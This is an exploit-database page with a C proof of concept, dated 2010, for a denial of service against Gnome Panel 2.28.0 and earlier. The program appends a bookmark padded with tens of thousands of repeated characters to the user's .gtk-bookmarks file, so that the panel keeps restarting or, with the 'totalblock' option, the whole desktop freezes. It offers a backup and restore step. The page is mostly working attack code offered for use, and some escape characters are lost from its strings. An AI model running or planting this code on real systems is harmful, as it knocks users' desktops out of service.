[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Gnome Panel <= 2.28.0 Denial of Service PoC 0-day
# Published : 2010-01-06
# Author : Pietro Oliva
# Previous Title : Total Multimedia Features DoS PoC for Sony Ericsson Phones
# Next Title : Novell Netware CIFS And AFP Remote Memory Consumption DoS


# Tested on: ubuntu 9.10
# CVE : 
# Code :

/*********************************************************************************
*	        Gnome panel <= 2.28.0 denial of service poc 0-day		 *
*		     by  Pietro Oliva <pietroliva@gmail.com>
*                         http://olivapietro.altervista.org
*										 *
*	      After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...   			 *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
	FILE *f;
	unsigned long i;
	printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-daynn");
	if(!(f=fopen(".gtk-bookmarks","r")))
	{
		printf("%s","file not found! make sure you are runningnthis file from your home directoryn");
		return 1;
	}
	fclose(f);
	if((argv[1]==NULL))
	{
		printf("%s","please specify an argument!n");
		printf("%s","usage: ./paneldos <option>npossible options are:trestarttttotalblocktrestoren");
		return 1;
	}
	if(((strcmp(argv[1],"restart"))==0))
	i=9999;
	else if((strcmp(argv[1],"totalblock"))==0)
	i=99999;
	else if((strcmp(argv[1],"restore"))==0)
	{
		if(!(f=fopen(".backup","r")))
		{
			printf("%s","no backup found!nmake sure you are runningnthis file from your home directoryn");
			return 1;
		}
		fclose(f);
		system("cp .backup .gtk-bookmarks");
		printf("%s","succesfully restored!n");
		return 0;
	}
	else
	{
		printf("%s","usage: ./paneldos <option>npossible options are:trestarttttotalblocktrestoren");
		return 1;
	}
	if(!(f=fopen(".backup","r")))
	{	
		printf("%s","creating backup...n");
		system("cp .gtk-bookmarks .backup");
	}
	else
	fclose(f);
	f=fopen(".gtk-bookmarks","a");
	printf("%s","starting...n");
	fwrite("file:///home ",1,13,f);
	while(i>0)
	{
		fwrite("ta",1,2,f);
		i--;
	}
	fclose(f);
	printf("%s","done! now click applications in panel,nslide to places, wait and see the result! :Dn");
	return 0;
}